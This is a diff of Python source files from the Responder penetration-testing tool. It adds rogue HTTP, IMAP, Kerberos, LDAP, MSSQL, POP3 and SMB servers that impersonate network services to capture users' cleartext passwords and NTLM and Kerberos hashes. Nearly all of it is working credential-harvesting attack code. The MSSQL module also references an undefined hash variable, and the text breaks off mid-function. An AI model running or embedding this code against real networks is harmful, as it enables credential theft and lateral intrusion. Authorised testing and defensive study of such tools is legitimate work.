SaveToDb({
|
||||
'module': 'HTTP',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.split(':')[0],
|
||||
'cleartext': ClearText_Auth.split(':')[1],
|
||||
})
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
else:
|
||||
if settings.Config.Basic == True:
|
||||
Response = IIS_Basic_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||
|
||||
else:
|
||||
Response = IIS_Auth_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||
|
||||
return str(Response)
|
||||
|
||||
# HTTP Server class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
Buffer = WpadCustom(data, self.client_address[0])
|
||||
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.request.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(Buffer)
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
# HTTPS Server class
|
||||
class HTTPS(StreamRequestHandler):
|
||||
def setup(self):
|
||||
self.exchange = self.request
|
||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
Buffer = WpadCustom(data,self.client_address[0])
|
||||
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.exchange.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(Buffer)
|
||||
except:
|
||||
pass
|
||||
|
||||
# SSL context handler
|
||||
class SSLSock(ThreadingMixIn, TCPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
from OpenSSL import SSL
|
||||
|
||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
ctx.use_privatekey_file(key)
|
||||
ctx.use_certificate_file(cert)
|
||||
|
||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
def shutdown_request(self,request):
|
||||
try:
|
||||
request.shutdown()
|
||||
except:
|
||||
pass
|
55
core/servers/IMAP.py
Normal file
55
core/servers/IMAP.py
Normal file
|
@ -0,0 +1,55 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
# IMAP4 Server class
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:15] == "CAPABILITY":
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(str(IMAPCapability()))
|
||||
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:10] == "LOGIN":
|
||||
Credentials = data[10:].strip()
|
||||
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Credentials[0],
|
||||
'cleartext': Credentials[1],
|
||||
'fullhash': Credentials[0]+":"+Credentials[1],
|
||||
})
|
||||
|
||||
## FIXME: Close connection properly
|
||||
## self.request.send(str(ditchthisconnection()))
|
||||
## data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
159
core/servers/Kerberos.py
Normal file
159
core/servers/Kerberos.py
Normal file
|
@ -0,0 +1,159 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
137
core/servers/LDAP.py
Normal file
137
core/servers/LDAP.py
Normal file
|
@ -0,0 +1,137 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from utils import *
|
||||
|
||||
def ParseSearch(data):
|
||||
Search1 = re.search('(objectClass)', data)
|
||||
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
|
||||
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
|
||||
|
||||
if Search1:
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
if Search2:
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if Search3:
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
|
||||
def ParseLDAPHash(data, client):
|
||||
SSPIStart = data[42:]
|
||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
||||
|
||||
if LMhashLen > 10:
|
||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
|
||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+User,
|
||||
'hash': NtHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if LMhashLen < 2 and settings.Config.Verbose:
|
||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
|
||||
|
||||
if Search1:
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
|
||||
if Search2:
|
||||
ParseLDAPHash(data,client)
|
||||
|
||||
def ParseLDAPPacket(data, client):
|
||||
if data[1:2] == '\x84':
|
||||
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == "\x60":
|
||||
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
||||
if AuthHeaderType == "\x80":
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'user': UserDomain,
|
||||
'cleartext': Password,
|
||||
'fullhash': UserDomain+':'+Password,
|
||||
})
|
||||
|
||||
if sasl == "\xA3":
|
||||
Buffer = ParseNTLM(data,client)
|
||||
return Buffer
|
||||
|
||||
elif Operation == "\x63":
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
|
||||
# LDAP Server class
|
||||
class LDAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(8092)
|
||||
Buffer = ParseLDAPPacket(data,self.client_address[0])
|
||||
|
||||
if Buffer:
|
||||
self.request.send(Buffer)
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
157
core/servers/MSSQL.py
Normal file
157
core/servers/MSSQL.py
Normal file
|
@ -0,0 +1,157 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
from utils import *
|
||||
|
||||
class TDS_Login_Packet():
|
||||
def __init__(self, data):
|
||||
|
||||
ClientNameOff = struct.unpack('<h', data[44:46])[0]
|
||||
ClientNameLen = struct.unpack('<h', data[46:48])[0]
|
||||
UserNameOff = struct.unpack('<h', data[48:50])[0]
|
||||
UserNameLen = struct.unpack('<h', data[50:52])[0]
|
||||
PasswordOff = struct.unpack('<h', data[52:54])[0]
|
||||
PasswordLen = struct.unpack('<h', data[54:56])[0]
|
||||
AppNameOff = struct.unpack('<h', data[56:58])[0]
|
||||
AppNameLen = struct.unpack('<h', data[58:60])[0]
|
||||
ServerNameOff = struct.unpack('<h', data[60:62])[0]
|
||||
ServerNameLen = struct.unpack('<h', data[62:64])[0]
|
||||
Unknown1Off = struct.unpack('<h', data[64:66])[0]
|
||||
Unknown1Len = struct.unpack('<h', data[66:68])[0]
|
||||
LibraryNameOff = struct.unpack('<h', data[68:70])[0]
|
||||
LibraryNameLen = struct.unpack('<h', data[70:72])[0]
|
||||
LocaleOff = struct.unpack('<h', data[72:74])[0]
|
||||
LocaleLen = struct.unpack('<h', data[74:76])[0]
|
||||
DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
|
||||
DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
|
||||
|
||||
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
|
||||
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
|
||||
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
|
||||
self.AppName = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '')
|
||||
self.ServerName = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '')
|
||||
self.Unknown1 = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '')
|
||||
self.LibraryName = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '')
|
||||
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||
|
||||
def ParseSQLHash(data, client):
|
||||
SSPIStart = data[8:]
|
||||
|
||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
|
||||
if NthashLen == 24:
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'MSSQL',
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+User,
|
||||
'hash': LMHash+":"+NTHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'MSSQL',
|
||||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+User,
|
||||
'hash': NTHash[:32]+":"+NTHash[32:],
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
Pw = []
|
||||
for x in Pwd:
|
||||
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
|
||||
return ''.join(Pw)
|
||||
|
||||
def ParseClearTextSQLPass(data, client):
|
||||
|
||||
TDS = TDS_Login_Packet(data)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'MSSQL',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName),
|
||||
'user': TDS.UserName,
|
||||
'cleartext': ParseSqlClearTxtPwd(TDS.Password),
|
||||
'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password),
|
||||
})
|
||||
|
||||
# MSSQL Server class
|
||||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
if settings.Config.Verbose:
|
||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(0.1)
|
||||
|
||||
# Pre-Login Message
|
||||
if data[0] == "\x12":
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# NegoSSP
|
||||
if data[0] == "\x10":
|
||||
if re.search("NTLMSSP",data):
|
||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
|
||||
Packet.calculate()
|
||||
Buffer = str(Packet)
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
else:
|
||||
ParseClearTextSQLPass(data,self.client_address[0])
|
||||
|
||||
# NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
|
||||
except socket.timeout:
|
||||
pass
|
||||
self.request.close()
|
60
core/servers/POP3.py
Normal file
60
core/servers/POP3.py
Normal file
|
@ -0,0 +1,60 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
|
||||
# POP3 Server class
|
||||
class POP3(BaseRequestHandler):
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
return data
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+":"+Pass,
|
||||
})
|
||||
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
else:
|
||||
data = self.SendPacketAndRead()
|
||||
|
||||
except Exception:
|
||||
pass
|
421
core/servers/SMB.py
Normal file
421
core/servers/SMB.py
Normal file
|
@ -0,0 +1,421 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import core.responder.settings as settings
|
||||
import threading
|
||||
import socket
|
||||
from traceback import print_exc
|
||||
|
||||
from random import randrange
|
||||
from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
|
||||
from core.responder.utils import *
|
||||
|
||||
class SMB:
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
|
||||
server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
|
||||
else:
|
||||
server1 = ThreadingTCPServer(('', 445), SMB1)
|
||||
server2 = ThreadingTCPServer(('', 139), SMB1)
|
||||
|
||||
for server in [server1, server2]:
|
||||
t = threading.Thread(name='SMB', target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
print "Error starting SMB server: {}".format(e)
|
||||
print_exc()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
# Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
|
||||
if SecBlobLen < 260:
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
if SecBlobLen > 260:
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
return True if LMhashLen == 0 or LMhashLen == 1 else False
|
||||
|
||||
def Is_LMNT_Anonymous(data):
|
||||
